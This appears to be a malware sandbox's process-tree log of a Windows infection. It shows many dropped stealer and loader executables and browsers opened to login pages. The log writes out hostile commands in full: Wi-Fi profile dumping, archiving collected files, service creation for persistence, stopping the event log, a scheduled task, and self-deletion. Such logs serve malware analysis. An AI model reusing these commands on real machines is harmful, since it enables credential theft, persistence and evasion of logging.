C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2104,11278019062733953663,1310198189010354542,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2116 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2104,11278019062733953663,1310198189010354542,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2704 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,11278019062733953663,1310198189010354542,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,11278019062733953663,1310198189010354542,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,11278019062733953663,1310198189010354542,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3852 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,11278019062733953663,1310198189010354542,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4604 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,11278019062733953663,1310198189010354542,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3836 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,11278019062733953663,1310198189010354542,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4836 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,11278019062733953663,1310198189010354542,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5868 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,11278019062733953663,1310198189010354542,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5544 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,11278019062733953663,1310198189010354542,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6448 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,11278019062733953663,1310198189010354542,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6108 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2104,11278019062733953663,1310198189010354542,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6620 /prefetch:84⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2104,11278019062733953663,1310198189010354542,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6620 /prefetch:84⤵
-
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com4⤵
- Checks processor information in registry
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4112.0.474973232\1354257528" -parentBuildID 20221007134813 -prefsHandle 1772 -prefMapHandle 1764 -prefsLen 20749 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {a1402661-f02d-4039-bec3-88470e1ef2ae} 4112 "\\.\pipe\gecko-crash-server-pipe.4112" 1876 1d2de3d7458 gpu5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4112.1.140553163\307875608" -parentBuildID 20221007134813 -prefsHandle 2324 -prefMapHandle 2320 -prefsLen 21565 -prefMapSize 233444 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2c812239-85a6-4429-a967-2ad490ec407b} 4112 "\\.\pipe\gecko-crash-server-pipe.4112" 2352 1d2d20e5558 socket5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4112.2.85450949\221836538" -childID 1 -isForBrowser -prefsHandle 2916 -prefMapHandle 2780 -prefsLen 21603 -prefMapSize 233444 -jsInitHandle 944 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bafd8346-a059-4104-a9ec-34f1894751f6} 4112 "\\.\pipe\gecko-crash-server-pipe.4112" 2828 1d2e19e7e58 tab5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4112.3.930575809\1783946235" -childID 2 -isForBrowser -prefsHandle 3516 -prefMapHandle 3512 -prefsLen 21644 -prefMapSize 233444 -jsInitHandle 944 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {22d3f1c2-09c7-48a7-9e01-00a92fb2e733} 4112 "\\.\pipe\gecko-crash-server-pipe.4112" 3528 1d2e2723e58 tab5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4112.4.1485985526\29081708" -childID 3 -isForBrowser -prefsHandle 2856 -prefMapHandle 3196 -prefsLen 21709 -prefMapSize 233444 -jsInitHandle 944 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {016afdc1-83c7-4eb6-bc09-82530dce78d6} 4112 "\\.\pipe\gecko-crash-server-pipe.4112" 3712 1d2df7b5558 tab5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4112.5.1997951477\153763257" -childID 4 -isForBrowser -prefsHandle 4772 -prefMapHandle 4700 -prefsLen 21709 -prefMapSize 233444 -jsInitHandle 944 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {49694f5b-8413-449f-b400-71f653176a40} 4112 "\\.\pipe\gecko-crash-server-pipe.4112" 4732 1d2d202d558 tab5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4112.7.1233990513\1359231180" -childID 6 -isForBrowser -prefsHandle 5184 -prefMapHandle 5188 -prefsLen 21884 -prefMapSize 233444 -jsInitHandle 944 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {108e05e9-3a8a-45cf-8d36-843cf9c194bd} 4112 "\\.\pipe\gecko-crash-server-pipe.4112" 5172 1d2e2d04a58 tab5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4112.8.1191924493\946174363" -childID 7 -isForBrowser -prefsHandle 5376 -prefMapHandle 5380 -prefsLen 21884 -prefMapSize 233444 -jsInitHandle 944 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {55648add-4902-442e-af48-de4e82a0d449} 4112 "\\.\pipe\gecko-crash-server-pipe.4112" 5368 1d2e3c52b58 tab5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4112.6.180827598\136437306" -childID 5 -isForBrowser -prefsHandle 1616 -prefMapHandle 1540 -prefsLen 21884 -prefMapSize 233444 -jsInitHandle 944 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {58bd068b-6525-40ce-9fa0-f2e6a239de03} 4112 "\\.\pipe\gecko-crash-server-pipe.4112" 2752 1d2de3d6b58 tab5⤵
-
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.linkedin.com/login3⤵
- Enumerates system info in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbe68d9758,0x7ffbe68d9768,0x7ffbe68d97784⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1744 --field-trial-handle=1976,i,16774706235890145799,11185843245259390666,131072 /prefetch:24⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1900 --field-trial-handle=1976,i,16774706235890145799,11185843245259390666,131072 /prefetch:84⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.linkedin.com/login3⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffbe62c46f8,0x7ffbe62c4708,0x7ffbe62c47184⤵
-
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.linkedin.com/login3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.linkedin.com/login4⤵
- Checks processor information in registry
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.facebook.com/login3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbe68d9758,0x7ffbe68d9768,0x7ffbe68d97784⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.facebook.com/login3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.facebook.com/login3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.facebook.com/login4⤵
- Checks processor information in registry
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://accounts.google.com3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbe68d9758,0x7ffbe68d9768,0x7ffbe68d97784⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://accounts.google.com3⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbe62c46f8,0x7ffbe62c4708,0x7ffbe62c47184⤵
-
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://accounts.google.com3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://accounts.google.com4⤵
- Checks processor information in registry
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000597001\ladas.exe"C:\Users\Admin\AppData\Local\Temp\1000597001\ladas.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main2⤵
- Loads dropped DLL
-
C:\Windows\system32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main3⤵
-
C:\Windows\system32\netsh.exenetsh wlan show profiles4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\200714112378_Desktop.zip' -CompressionLevel Optimal4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000621001\dotu.exe"C:\Users\Admin\AppData\Local\Temp\1000621001\dotu.exe"2⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\1000635001\father1.exe"C:\Users\Admin\AppData\Local\Temp\1000635001\father1.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main2⤵
- Blocklisted process makes network request
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\1000637001\judi1234.exe"C:\Users\Admin\AppData\Local\Temp\1000637001\judi1234.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\onefile_6984_133531864655931397\stub.exe"C:\Users\Admin\AppData\Local\Temp\1000637001\judi1234.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"4⤵
- Blocklisted process makes network request
- Loads dropped DLL
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"4⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist"4⤵
-
C:\Windows\system32\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000638001\phonesteal.exe"C:\Users\Admin\AppData\Local\Temp\1000638001\phonesteal.exe"2⤵
- Executes dropped EXE
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "THYAWYFT"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "THYAWYFT" binpath= "C:\ProgramData\mkiurbjjkopl\vzxmpncsktsu.exe" start= "auto"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "THYAWYFT"3⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000639001\daisy123.exe"C:\Users\Admin\AppData\Local\Temp\1000639001\daisy123.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Checks computer location settings
- Drops startup file
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe"4⤵
- Executes dropped EXE
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000640001\redline1234min.exe"C:\Users\Admin\AppData\Local\Temp\1000640001\redline1234min.exe"2⤵
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "FLWCUERA"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "FLWCUERA" binpath= "C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe" start= "auto"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\1000640001\redline1234min.exe"3⤵
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 34⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "FLWCUERA"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000641001\goldprimedfsdf.exe"C:\Users\Admin\AppData\Local\Temp\1000641001\goldprimedfsdf.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000642001\lumma123142124.exe"C:\Users\Admin\AppData\Local\Temp\1000642001\lumma123142124.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5424 -s 12244⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000643001\lolololoMRK123.exe"C:\Users\Admin\AppData\Local\Temp\1000643001\lolololoMRK123.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7340 -s 12204⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000644001\alexlll.exe"C:\Users\Admin\AppData\Local\Temp\1000644001\alexlll.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\configurationValue\STAR.exe"C:\Users\Admin\AppData\Roaming\configurationValue\STAR.exe"4⤵
-
-
C:\Users\Admin\AppData\Roaming\configurationValue\olehpsp.exe"C:\Users\Admin\AppData\Roaming\configurationValue\olehpsp.exe"4⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"4⤵
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 35⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000645001\InstallSetup3.exe"C:\Users\Admin\AppData\Local\Temp\1000645001\InstallSetup3.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\BroomSetup.exeC:\Users\Admin\AppData\Local\Temp\BroomSetup.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "4⤵
-
C:\Windows\SysWOW64\chcp.comchcp 12515⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F5⤵
- DcRat
- Creates scheduled task(s)
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\nso5633.tmpC:\Users\Admin\AppData\Local\Temp\nso5633.tmp3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7324 -s 22764⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000646001\father1.exe"C:\Users\Admin\AppData\Local\Temp\1000646001\father1.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 3700 -ip 37001⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 2256 -ip 22561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2256 -ip 22561⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbe62c46f8,0x7ffbe62c4708,0x7ffbe62c47181⤵
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
- Executes dropped EXE
-
C:\ProgramData\mkiurbjjkopl\vzxmpncsktsu.exeC:\ProgramData\mkiurbjjkopl\vzxmpncsktsu.exe1⤵
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exeC:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe1⤵
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵
-
-
C:\Windows\system32\conhost.execonhost.exe2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 5424 -ip 54241⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"1⤵
-
